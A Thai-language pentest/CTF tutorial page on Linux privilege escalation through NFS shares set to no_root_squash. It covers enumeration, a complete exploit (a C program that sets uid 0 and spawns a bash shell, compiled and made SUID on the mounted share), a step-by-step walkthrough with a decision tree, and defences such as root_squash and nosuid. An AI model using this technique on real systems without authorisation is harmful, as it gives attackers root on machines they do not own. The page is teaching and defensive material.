คลัง
linux-privesc

NFS no_root_squash

NFS no_root_squash เป็น misconfiguration ที่ทำให้ root บนเครื่อง client มีสิทธิ์ root บน NFS share ด้วย — เราสร้างไฟล์ SUID เป็น root บน share จากเครื่องที่เราคุม root แล้วรันบนเป้าหมายเพื่อยกระดับ บทนี้ลงลึกกลไก root squashing, การหา share, การ exploit, และการป้องกัน (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

IntermediateAdvanced#nfs#linux#privesc#no-root-squash#share#suid#ctf

1. หลักการ — root squashing

ปกติ NFS ใช้ root_squash: เมื่อ root บนเครื่อง client เขียนไฟล์บน share จะถูก 'squash' เป็น user nobody (กัน client ปลอมเป็น root บน server) แต่ถ้า share ตั้ง no_root_squash — root บน client = root บน share จริงๆ ช่องโหว่: ถ้าเราคุม root บนเครื่องหนึ่ง (เช่น Kali ของเรา) mount share แล้วสร้างไฟล์ SUID root บน share ไฟล์นั้นจะเป็น SUID root จริงเมื่อเป้าหมายเห็น — รันแล้วได้ root บนเป้าหมาย

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. หา NFS share + no_root_squash

ตรวจ exportLinux
# บนเป้าหมาย: ดู export config
cat /etc/exports
# มองหา no_root_squash เช่น:
#   /shared *(rw,no_root_squash)     ← ช่องโหว่!

# จากเครื่องเรา: list share ของเป้าหมาย
showmount -e TARGET_IP
# เห็น export ที่ share อยู่

# ตรวจว่า rw ไหม (ต้องเขียนได้)
หา no_root_squash ใน /etc/exports (บนเป้า) หรือ showmount -e (จากเรา); ต้องเป็น rw

3. Exploit (ต้องมี root บนเครื่องเรา)

สร้าง SUID บน share แล้วรันบนเป้าหมายLinux
# === บนเครื่องเรา (ที่เราเป็น root, เช่น Kali) ===
# 1. mount share ของเป้าหมาย
mkdir /mnt/nfs
mount -o rw TARGET_IP:/shared /mnt/nfs

# 2. สร้าง SUID binary (เป็น root → ไฟล์เป็น root เพราะ no_root_squash)
cat > /mnt/nfs/shell.c << 'C'
#include <stdio.h>
#include <unistd.h>
int main() { setuid(0); setgid(0); system("/bin/bash -p"); return 0; }
C
gcc /mnt/nfs/shell.c -o /mnt/nfs/shell
chmod +s /mnt/nfs/shell          # ตั้ง SUID (เป็น root)

# === บนเป้าหมาย (user ธรรมดา) ===
# ไฟล์ /shared/shell เป็น SUID root → รันได้ root
cd /shared
./shell                          # → root shell!
ต้องมี root บนเครื่องที่ mount (สร้าง SUID root); บนเป้าหมายแค่รันไฟล์นั้น = root; gcc บนเครื่องเราหรือ static compile
ถ้าไม่มี gcc บนเป้าหมายไม่เป็นไร — compile บนเครื่องเรา (ที่ mount) ได้เลย ไฟล์ SUID จะปรากฏบนเป้าหมายผ่าน share พร้อมรัน

4. การป้องกัน

  • ใช้ root_squash (default) เสมอ — อย่าตั้ง no_root_squash เว้นจำเป็นจริง
  • ตั้ง share เป็น read-only ถ้าไม่ต้องเขียน
  • จำกัด export เฉพาะ IP ที่เชื่อถือ (ไม่ใช่ *)
  • ใช้ nosuid option บน mount/export → SUID บน share ไม่ทำงาน
  • ใช้ NFSv4 + Kerberos auth
  • audit /etc/exports เป็นระยะ

5. Quick Reference

  • no_root_squash = root บน client เป็น root บน share
  • หา: cat /etc/exports (no_root_squash); showmount -e TARGET
  • exploit (ต้องมี root บนเครื่องเรา): mount → สร้าง SUID root C binary
  • บนเป้าหมาย: รันไฟล์ SUID นั้น → root
  • compile บนเครื่องเราได้ (ไม่ต้องมี gcc บนเป้า)
  • ป้องกัน: root_squash, nosuid, จำกัด IP, read-only

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ enumerate เจอว่าเป้าหมายเปิด NFS ไว้ (port 2049) มีแค่ Kali ที่เราเป็น root อยู่แล้ว ลองเช็คว่า share นั้นตั้ง no_root_squash ไหม ทำตามนี้ทีละขั้น

  1. 1จากเครื่อง Kali พิมพ์ showmount -e TARGET_IP ดูว่ามี share อะไรให้ mount บ้าง
  2. 2ถ้ามี shell บนเป้าหมายอยู่แล้ว พิมพ์ cat /etc/exports ดูว่ามี no_root_squash และเป็น rw ไหม
  3. 3บนเครื่อง Kali พิมพ์ mkdir /mnt/nfs แล้ว mount -o rw TARGET_IP:/shared /mnt/nfs
  4. 4ทดสอบเขียนไฟล์ก่อนด้วย touch /mnt/nfs/test — ถ้าเขียนไม่ได้ (readonly) แปลว่าใช้ไม่ได้ ให้หยุดตรงนี้
  5. 5ถ้าเขียนได้ ให้เขียนไฟล์ C เล็กๆ ที่เรียก setuid(0); setgid(0); system("/bin/bash -p") ลงใน /mnt/nfs
  6. 6รัน gcc /mnt/nfs/shell.c -o /mnt/nfs/shell บนเครื่อง Kali (เป็น root)
  7. 7รัน chmod +s /mnt/nfs/shell ตั้ง SUID bit (เพราะเราเป็น root ไฟล์นี้จะเป็น SUID root จริง)
  8. 8กลับไปที่ shell บนเป้าหมาย พิมพ์ cd /shared แล้ว ./shell
  9. 9พิมพ์ id ทันที ถ้าเห็น uid=0(root) แปลว่าสำเร็จ ถ้าไม่ใช่ (เช่น mount ด้วย nosuid) ให้ไปช่องทางอื่น
เจอ NFS แล้วทำอะไรต่อ / ไม่เจอ no_root_squash ไปทางไหน
บนเป้าหมาย (ถ้ามี shell): cat /etc/exports
✅ เจอ no_root_squash และ rw→ ไป mount + สร้าง SUID จากเครื่อง Kali
❌ ไม่เจอ/root_squash ปกติ→ NFS ใช้ไม่ได้ ไปช่องทางอื่น
mkdir /mnt/nfs ; mount -o rw TARGET_IP:/shared /mnt/nfs (รันบน Kali เป็น root)
เขียนไฟล์ทดสอบใน /mnt/nfs ได้ไหม? (touch /mnt/nfs/test)
✅ เขียนได้→ compile SUID C binary ลงไป
❌ เขียนไม่ได้ (readonly)→ ใช้ไม่ได้จริง ไปช่องทางอื่น
gcc shell.c -o /mnt/nfs/shell ; chmod +s /mnt/nfs/shell
บนเป้าหมาย: cd /shared ; ./shell → id เป็น root?
✅ ใช่ uid=0→ จบงาน ได้ root
❌ ไม่ใช่ (mount ด้วย nosuid)→ share ป้องกันไว้ ใช้ไม่ได้ ไปช่องทางอื่น
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
list NFS share จากภายนอกshowmount--
mount share เข้าเครื่อง Kalimount--
compile SUID C binarygcc--
ตรวจ export config บนเป้าหมายcat /etc/exports--
scan port NFS (2049) ตอน reconnmap--
เก็บข้อมูล enumeration เสริม-linpeas-
🚑 ถ้าตันสนิท ลองท่าถัดไป: SUID/SGID/Capabilities (permission bit ปกติที่ยังไม่เช็ค) · Cron Jobs (งานที่ root รันเป็นระยะ) · Docker Escape (ถ้ามี docker/lxd group ด้วย) · LinPEAS (สแกนอัตโนมัติให้ครบ) · กลับไป Linux Enumeration เพื่อไล่ checklist ใหม่

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้